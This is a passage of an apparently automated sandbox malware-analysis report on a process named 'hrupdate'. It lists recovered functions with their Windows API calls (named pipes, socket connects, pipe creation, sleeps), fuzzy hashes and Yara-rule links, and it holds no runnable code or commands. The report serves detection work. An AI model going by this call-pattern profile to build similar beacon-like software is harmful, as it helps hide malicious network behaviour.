SetNamedPipeHandleState.KERNEL32(04FC6D15,?,00000000,00000000,?,?,?,04FCAE7B,?,-0000EA60,?,?,04FC6D15,?,?), ref: 04FCAE01
DisconnectNamedPipe.KERNEL32(04FC6D15,?,?,?,04FCAE7B,?,-0000EA60,?,?,04FC6D15,?,?), ref: 04FCAE0D

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: NamedPipe$DisconnectErrorHandleLastStateWait_memset
String ID:
API String ID: 1374046827-0
Opcode ID: 6f25179b95feb7470a0053ab0327d103bcc652b2a5f8ca8a5ecb63a92c3d406c
Instruction ID: 315b1d90dfc23f6b78a64237c76c0a31b4eb78bbc307665008530e4be2cfdb7e
Opcode Fuzzy Hash: 6f25179b95feb7470a0053ab0327d103bcc652b2a5f8ca8a5ecb63a92c3d406c
Instruction Fuzzy Hash: 8F01F272A00009FFEF101F31ED08F2A7BADEF04755B10492CF546D4090FA70BC529A60

Function 04FE5CDE Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04FE5CEA

Part of subcall function 04FDF61D: __getptd_noexit.LIBCMT ref: 04FDF620
Part of subcall function 04FDF61D: __amsg_exit.LIBCMT ref: 04FDF62D

__amsg_exit.LIBCMT ref: 04FE5D0A
__lock.LIBCMT ref: 04FE5D1A
InterlockedDecrement.KERNEL32(?), ref: 04FE5D37
InterlockedIncrement.KERNEL32(4029A377), ref: 04FE5D62

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: dd2087101ebf0309aedf18a423cd7bc2b9884b4d00d4dcfea61c6f74983ec76d
Instruction ID: 31f8da86117f430dc4a546ffae917cdb231adc4bef9a15bfd14d0954b2064c01
Opcode Fuzzy Hash: dd2087101ebf0309aedf18a423cd7bc2b9884b4d00d4dcfea61c6f74983ec76d
Instruction Fuzzy Hash: CF016132D05725ABEB31AFA6A80876D7365BF0472AF140145E904A7690CB78F853CBD5

Function 04FD3E60 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FD3E67

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

_malloc.LIBCMT ref: 04FD3E74
_malloc.LIBCMT ref: 04FD3E8F
__snprintf.LIBCMT ref: 04FD3EA2
_malloc.LIBCMT ref: 04FD3EC1

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc$AllocateHeap__snprintf
String ID:
API String ID: 3929630252-0
Opcode ID: f274a6240caaf04d974b89143aec6c7ff44fdfcc643ef32c5c1b0322811da6c4
Instruction ID: 369cf1d252c7a62610d3baa0541e0b78198088520da66f182bf445fbcd943592
Opcode Fuzzy Hash: f274a6240caaf04d974b89143aec6c7ff44fdfcc643ef32c5c1b0322811da6c4
Instruction Fuzzy Hash: E2016271904304AFE710EF79DC84957BBEDDF46654B04C82AF949D7211D670F9058B91

Function 04FC6B77 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 04FC6B84
gethostbyname.WS2_32(?), ref: 04FC6B98
htons.WS2_32(?), ref: 04FC6BC1
connect.WS2_32(00000000,?,00000010), ref: 04FC6BD1
closesocket.WS2_32(00000000), ref: 04FC6BDB

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 8c3c2bd4798a79f9a0cf09cc9962df59210a1319322d26f080d932f51fe67372
Instruction ID: 5632d3c55a6cf15d4c71b4f19580f1178e4e1ce172d182dc574ba0a9abd249fc
Opcode Fuzzy Hash: 8c3c2bd4798a79f9a0cf09cc9962df59210a1319322d26f080d932f51fe67372
Instruction Fuzzy Hash: F7F0A431A0421976FB107BB58D05FBF77A89F00728F00465AFD21EA1E1E6B0F5028395

Function 04FDD93E Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 04FDD95C

Part of subcall function 04FE0075: __mtinitlocknum.LIBCMT ref: 04FE008B
Part of subcall function 04FE0075: __amsg_exit.LIBCMT ref: 04FE0097
Part of subcall function 04FE0075: RtlEnterCriticalSection.NTDLL(?), ref: 04FE009F

___sbh_find_block.LIBCMT ref: 04FDD967
___sbh_free_block.LIBCMT ref: 04FDD976
HeapFree.KERNEL32(00000000,?,04FF85B0,0000000C,04FE0056,00000000,04FF8760,0000000C,04FE0090,?,?,?,04FEB35D,00000004,04FF8A70,0000000C), ref: 04FDD9A6
GetLastError.KERNEL32(?,04FEB35D,00000004,04FF8A70,0000000C,04FE6A28,?,?,00000000,00000000,00000000,?,04FDF5CF,00000001,00000214), ref: 04FDD9B7

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 3213c8a0197978f8ffbcec38f1f9de7c7c6c51c280da126e4c912a92bddbd1f7
Instruction ID: 4a45178123ba690c71995787658d3d890647eede50da24875f24d90e11e70fd0
Opcode Fuzzy Hash: 3213c8a0197978f8ffbcec38f1f9de7c7c6c51c280da126e4c912a92bddbd1f7
Instruction Fuzzy Hash: 6F01AD71D01315AFEB30BFB1AC09B6D3A69AF007ADF181009E104A6094DFB9B543CA56

Function 04FCB6FE Relevance: 7.5, APIs: 5, Instructions: 40sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCB70B
GetTickCount.KERNEL32 ref: 04FCB712
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 04FCB725
Sleep.KERNEL32(0000000A), ref: 04FCB736
GetTickCount.KERNEL32 ref: 04FCB73C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: e30f0c1bde34a557ba586550b9c1d2ef4fad534541e84981043adf046dfef70e
Instruction ID: f3960afdb65a5e92b8c63dce9a36a938034985aeb9310243ec9784c91bb750f0
Opcode Fuzzy Hash: e30f0c1bde34a557ba586550b9c1d2ef4fad534541e84981043adf046dfef70e
Instruction Fuzzy Hash: 2AF0827665011DBFEB025FA4FD8186E77ADDF44296B14087AF901D2000EA74FD039EB0

Function 04FC82F3 Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF65
Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF75

Part of subcall function 04FDE48E: __fsopen.LIBCMT ref: 04FDE49B

_fseek.LIBCMT ref: 04FC8369

Part of subcall function 04FDEAC8: __lock_file.LIBCMT ref: 04FDEAD7
Part of subcall function 04FDEAC8: __ftelli64_nolock.LIBCMT ref: 04FDEAE4

_fseek.LIBCMT ref: 04FC8382

Part of subcall function 04FDEE59: __lock_file.LIBCMT ref: 04FDEEA4
Part of subcall function 04FDEE59: __fseek_nolock.LIBCMT ref: 04FDEEB4

GetFullPathNameA.KERNEL32(?,00000800,?,00000000), ref: 04FC83AF
_malloc.LIBCMT ref: 04FC83C9

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock
String ID:
API String ID: 73014519-0
Opcode ID: b3654dcc4d4fa82be1be93dacdb3a30702cb3e2d9522af8609077a7c484f4950
Instruction ID: d5efe5ea612a7fe2a79399712d6ab6a17250419fcbbf01bf08ed2de6dca7c150
Opcode Fuzzy Hash: b3654dcc4d4fa82be1be93dacdb3a30702cb3e2d9522af8609077a7c484f4950
Instruction Fuzzy Hash: 8441D272D0020AAEEF10BFA4DD81F9FBBB8AF48754F14452DF514B6290EA34B6068B51

Function 04FC75C1 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3827d86c92321b8b7634e4c47ba61d28f67b206b0246a9f92fa354ac449f81
Instruction ID: b7331494d363322576dcf3d9b2fc26089cdd111e3d53c48eae87ddfe56d21ced
Opcode Fuzzy Hash: ac3827d86c92321b8b7634e4c47ba61d28f67b206b0246a9f92fa354ac449f81
Instruction Fuzzy Hash: A2416076C0010AFFEF01FBE5DD419EEBBB9EF44228F14406AE914A2141EB35A6169F91

Function 04FDE4A5 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 04FDE569
__fileno.LIBCMT ref: 04FDE589
__locking.LIBCMT ref: 04FDE590
__flsbuf.LIBCMT ref: 04FDE5BB

Part of subcall function 04FDFE0C: __getptd_noexit.LIBCMT ref: 04FDFE0C

Part of subcall function 04FE1DF7: __decode_pointer.LIBCMT ref: 04FE1E02

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: db026ff494a3457978239db1d965547ff14943b162c60d0616ecb1d5d1b74f91
Instruction ID: 75984020c6acb92776a37b6039d1dd2775e2d327bc766e386b1732103fcef710
Opcode Fuzzy Hash: db026ff494a3457978239db1d965547ff14943b162c60d0616ecb1d5d1b74f91
Instruction Fuzzy Hash: ED419331E00A049FDB25DF6989407AEB7B7AF80360F2C8669D415DB140FB70FA52DB50

Function 04FC4FB0 Relevance: 6.1, APIs: 4, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000002F0,?,00000000,04FC532B,?,00000001,?,00000008,00000001), ref: 04FC5015
_memset.LIBCMT ref: 04FC504A
HeapFree.KERNEL32(433DB52F,00000000,960B05BF,000002F0,?,00000000,04FC532B,?,00000001,?,00000008,00000001), ref: 04FC50F7
HeapDestroy.KERNEL32(?,00000008,00000001), ref: 04FC5103

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Heap$DestroyErrorFreeLast_memset
String ID:
API String ID: 4224181572-0
Opcode ID: 7dd375981c29f23b63eaf24b15697de0b7ea4f87583387c1356c008b9a0c6e89
Instruction ID: 2c026372ca3d49663a9aa7cb7560a548d5805585778dfad6b3809d02c83659c6
Opcode Fuzzy Hash: 7dd375981c29f23b63eaf24b15697de0b7ea4f87583387c1356c008b9a0c6e89
Instruction Fuzzy Hash: 4941E672D00227BFEB306F55AE459AE77A9EB04318F14242EF94197041EB34F983DB95

Function 04FC8BE2 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC8BF7
htonl.WS2_32(00000080), ref: 04FC8C14

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memsethtonl
String ID:
API String ID: 4002686732-0
Opcode ID: dfd0d39ead04f13afa3c310dcec116386ef4fc47dc99a3baa511aa946d6a640a
Instruction ID: 26e18c71ea33454da317e3262bed994f7cfdc1a5c29c11d2d0fc8f7511c55f23
Opcode Fuzzy Hash: dfd0d39ead04f13afa3c310dcec116386ef4fc47dc99a3baa511aa946d6a640a
Instruction Fuzzy Hash: 1C411BB1D0031AAFEB10EFA4DD45AAE7F79EF042A6F10442DE409DB151E670E943CB90

Function 04FC6EEB Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 04FC6FA0
htonl.WS2_32(?), ref: 04FC6FAA
_malloc.LIBCMT ref: 04FC6FC1

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

_memset.LIBCMT ref: 04FC7025

Part of subcall function 04FCFF96: __snprintf.LIBCMT ref: 04FD0014
Part of subcall function 04FCFF96: __snprintf.LIBCMT ref: 04FD0026

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: __snprintfhtonl$AllocateHeap_malloc_memset
String ID:
API String ID: 1734027086-0
Opcode ID: 81a454addd3ff2eeba75d35ee0711f8246c588094d0931f850e72e9044d3e62a
Instruction ID: 6e945ce6d8c8b43b3c579642d6e5eacd7bbb297bd40cf96b678f5cc63dddfae8
Opcode Fuzzy Hash: 81a454addd3ff2eeba75d35ee0711f8246c588094d0931f850e72e9044d3e62a
Instruction Fuzzy Hash: E5413931D0828AEDFB11A7F8DC047EFBFB55F56308F184099D440A7282EB795606D3A6

Function 04FC8F1A Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FC8F5B
_memset.LIBCMT ref: 04FC8F6C
_memset.LIBCMT ref: 04FC8FB7
_memset.LIBCMT ref: 04FC900C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$_malloc
String ID:
API String ID: 3506388080-0
Opcode ID: 88e9c66ec8dd19708875744fecc451fdfef1374b9e4ca2884bc61362f1f8c5f6
Instruction ID: 060aef57bb8c86db372b7f5cb1a9d5cf46e26738ca273fb53e6955cfe153ec82
Opcode Fuzzy Hash: 88e9c66ec8dd19708875744fecc451fdfef1374b9e4ca2884bc61362f1f8c5f6
Instruction Fuzzy Hash: 2C41E731D00606EFEB21EF98C980B5AF7E2EF85356F24881DD955A7145E771F902CB01

Function 04FCAED6 Relevance: 6.1, APIs: 4, Instructions: 117sleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FCAEF6
_memset.LIBCMT ref: 04FCAF08

Part of subcall function 04FCC036: htons.WS2_32(?), ref: 04FCC04E

Part of subcall function 04FCAE32: GetLastError.KERNEL32(-0000EA60,?,?,04FC6D15,?,?), ref: 04FCAE4D

Sleep.KERNEL32(000001F4), ref: 04FCAFA8
GetLastError.KERNEL32 ref: 04FCAFB4

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ErrorLast_memset$Sleephtons
String ID:
API String ID: 2264653377-0
Opcode ID: eb0f29d33237045bb0af0508d09b0b4072f70d0141ec0e894f746ee91b88fe55
Instruction ID: ea7cb87e16c7f1698583e569aa9035f8a3c2a87cf63b213c7cf3527d2886af22
Opcode Fuzzy Hash: eb0f29d33237045bb0af0508d09b0b4072f70d0141ec0e894f746ee91b88fe55
Instruction Fuzzy Hash: 1C318777D0421EAEEF15EBE5EE41EEE77BCDF04354F10006AE644A6080EA35BE458B61

Function 04FD0E17 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 04FD0E25

Part of subcall function 04FDDC25: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04FD0BCD,00000000,00000080,00000000,00000000,?,?,?,04FC35CD,?,00000000,00000000), ref: 04FDDC30
Part of subcall function 04FDDC25: __aulldiv.LIBCMT ref: 04FDDC50

__time64.LIBCMT ref: 04FD0E40
__time64.LIBCMT ref: 04FD0ED3
__time64.LIBCMT ref: 04FD0F29

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: __time64$Time$FileSystem__aulldiv
String ID:
API String ID: 4218076520-0
Opcode ID: 077bb3c63213a040a2fad6a7614dbe13200177bb4b4506c2aa485f81d7f937aa
Instruction ID: edf5e8f9c4599e90ca375cb46e45fc7d0b274986a2333f59e387188a2603d0f8
Opcode Fuzzy Hash: 077bb3c63213a040a2fad6a7614dbe13200177bb4b4506c2aa485f81d7f937aa
Instruction Fuzzy Hash: ED412A71C50205DFC724CF29E5D296EBBF6FB84308F24996EE42597652EB386642CF00

Function 04FCA71B Relevance: 6.1, APIs: 4, Instructions: 104COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FCA734
GetVersionExA.KERNEL32(?,?,?,04FC9F20), ref: 04FCA74D
SetLastError.KERNEL32(00000005,?,?,04FC9F20), ref: 04FCA772
SetLastError.KERNEL32(00000006,?,?,?,?,00000000,?,?,?,?,?,?,?,04FC9F20), ref: 04FCA802

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ErrorLast$Version_memset
String ID:
API String ID: 452624306-0
Opcode ID: 6aa56c24273e141a84c9a11d0c5b97f6f98750ffb279d452cd18ce501dd01303
Instruction ID: 33651d8b2508bc54de2f62d70d572d62830231a7de39fe3a5c9203f375cd9a2f
Opcode Fuzzy Hash: 6aa56c24273e141a84c9a11d0c5b97f6f98750ffb279d452cd18ce501dd01303
Instruction Fuzzy Hash: D5310471E40209BBEB309E719D45F9B7AB8EF45714F140468EA0EE7181E670BA43C7A0

Function 04FE8A98 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 04FE8ACC
__isleadbyte_l.LIBCMT ref: 04FE8B00
MultiByteToWideChar.KERNEL32(00D0E035,00000009,04FF655C,FFFFFB4C,04FF655C,00000000,?,?,?,04FC5E94,04FF655C,04FF655C,00000000), ref: 04FE8B31
MultiByteToWideChar.KERNEL32(00D0E035,00000009,04FF655C,00000001,04FF655C,00000000,?,?,?,04FC5E94,04FF655C,04FF655C,00000000), ref: 04FE8B9F

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 24d4c0d316f5661a31399599537bb842737ed2139e56a6fa5001f6c64a25fd2c
Instruction ID: ebb8bedfe06c583a1ca74b89aee09ff05ed2e890c90857854cb379d8d0fe3216
Opcode Fuzzy Hash: 24d4c0d316f5661a31399599537bb842737ed2139e56a6fa5001f6c64a25fd2c
Instruction Fuzzy Hash: 4731B071A00245FFDB20FF65CC849BE3BA5FF01392F1885A9E4659B191E730E942EB52

Function 04FD2F47 Relevance: 6.1, APIs: 4, Instructions: 79sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,00000080,00000000,00000000,?,?,04FC39A6), ref: 04FD2FAE
RtlExitUserThread.NTDLL(00000000,00000080,00000000,00000000,?,?,04FC39A6), ref: 04FD2FE7
WaitForSingleObject.KERNEL32(00000000,?,?,04FC39A6), ref: 04FD3003
ExitProcess.KERNEL32 ref: 04FD300F

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Exit$ObjectProcessSingleSleepThreadUserWait
String ID:
API String ID: 845863014-0
Opcode ID: d00f7fb41fd86c97e9ee76323c02adf03be0c82c24689422c757b3763814e66c
Instruction ID: 55811c1a9a2735aae316bfe5b3b09571e001bd62d53161fc4f77fc8b8a599c17
Opcode Fuzzy Hash: d00f7fb41fd86c97e9ee76323c02adf03be0c82c24689422c757b3763814e66c
Instruction Fuzzy Hash: 2311E632E04214AAFA263FB52D45D6F7B6EDFC17A9F18045EF500A60C0DE66B80391B1

Function 04FC6759 Relevance: 6.1, APIs: 4, Instructions: 78synchronizationpipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC676C
CreatePipe.KERNEL32(?,?,?,00100000), ref: 04FC67A2
GetStartupInfoA.KERNEL32(?), ref: 04FC67AC
WaitForSingleObject.KERNEL32(?,00002710), ref: 04FC67F5

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: 6d2d2882e9e0957b520353da8b682e3aef27c0bb28686c40d282ab6ee513de8b
Instruction ID: f1e364a23a44db4a520d9893b7a6c44d8596c6b8b4dc5024e2991a44bedaaca4
Opcode Fuzzy Hash: 6d2d2882e9e0957b520353da8b682e3aef27c0bb28686c40d282ab6ee513de8b
Instruction Fuzzy Hash: 79211972D0011DBFEB10DFA8DD45ADEBBB9EF48314F10016AE914E6191E771AA058BA1

Function 04FC32FF Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FC3314

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

Part of subcall function 04FC8A21: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000,00002000,?,04FC32B4,00000000,?,00002000,?,00002000,?,?,?,00000000), ref: 04FC8A33

_memset.LIBCMT ref: 04FC3369
_memset.LIBCMT ref: 04FC3378
_memset.LIBCMT ref: 04FC338F

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$AllocateEnvironmentExpandHeapStrings_malloc
String ID:
API String ID: 2041733451-0
Opcode ID: e16a93eb9438b0c8cadb9e9b4acbbcceb47e9e17553437223edf810aa4094668
Instruction ID: 5cc30732d5d8312326fddbf7d23817b6dbe3526d21b793502c5cf7974b400e33
Opcode Fuzzy Hash: e16a93eb9438b0c8cadb9e9b4acbbcceb47e9e17553437223edf810aa4094668
Instruction Fuzzy Hash: 26113872A04146BAE7106F748D80AF67B6EDF431A8F14405CE94993142EB22B907C3E1

Function 04FD095D Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FD09BF
_memset.LIBCMT ref: 04FD09D3
_memset.LIBCMT ref: 04FD09E4
_memset.LIBCMT ref: 04FD09ED

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: a8e79b0bd3e4c6bb58b301dc2ac853f9d2ce3df56b59d11478fa43cfc3caf90a
Instruction ID: 463bef4c964b17c09a4c40fd3d8cf11d37573bfdbd2f99f90a3fcbb4c9073d51
Opcode Fuzzy Hash: a8e79b0bd3e4c6bb58b301dc2ac853f9d2ce3df56b59d11478fa43cfc3caf90a
Instruction Fuzzy Hash: A001E572501204BEFB106E629CC1DBF3F5EAB442ACF449425F60896201DE79A913C7B6

Function 04FC4B89 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FC4BA3

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

htonl.WS2_32(?), ref: 04FC4BB2
htonl.WS2_32(?), ref: 04FC4BBC
_memset.LIBCMT ref: 04FC4BDE

Part of subcall function 04FDD93E: __lock.LIBCMT ref: 04FDD95C
Part of subcall function 04FDD93E: ___sbh_find_block.LIBCMT ref: 04FDD967
Part of subcall function 04FDD93E: ___sbh_free_block.LIBCMT ref: 04FDD976
Part of subcall function 04FDD93E: HeapFree.KERNEL32(00000000,?,04FF85B0,0000000C,04FE0056,00000000,04FF8760,0000000C,04FE0090,?,?,?,04FEB35D,00000004,04FF8A70,0000000C), ref: 04FDD9A6
Part of subcall function 04FDD93E: GetLastError.KERNEL32(?,04FEB35D,00000004,04FF8A70,0000000C,04FE6A28,?,?,00000000,00000000,00000000,?,04FDF5CF,00000001,00000214), ref: 04FDD9B7

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Heaphtonl$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock_malloc_memset
String ID:
API String ID: 2558508226-0
Opcode ID: 7feda87b28366810f08a1a7a44708eb7e761c1c3eb7c7ab0f28fcaead41cd548
Instruction ID: f5d3a0cbbd68bfb53c08886928181d6d25251756b72c89dd4539c0c959b1bf8d
Opcode Fuzzy Hash: 7feda87b28366810f08a1a7a44708eb7e761c1c3eb7c7ab0f28fcaead41cd548
Instruction Fuzzy Hash: 0701AC76901316BBEB126FA1CD40EEF776CDF41654B008019F9046A114E631B6139795

Function 04FD40FD Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

_clock.LIBCMT ref: 04FD4119
_clock.LIBCMT ref: 04FD4127
_clock.LIBCMT ref: 04FD4131
_clock.LIBCMT ref: 04FD413F

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: b758daacf63da5c7291ca6bd382674ea900c029546b509ca3099d54fa5c54ebe
Instruction ID: 539cf894ac3841db2975dc66f40978d1b8f5937845267525418fdaef6a8bc241
Opcode Fuzzy Hash: b758daacf63da5c7291ca6bd382674ea900c029546b509ca3099d54fa5c54ebe
Instruction Fuzzy Hash: D3017531D0062AEF8F12DFE9C8C15ADBBB5EF55245F5840BBD411A7101E7706A42CBA0

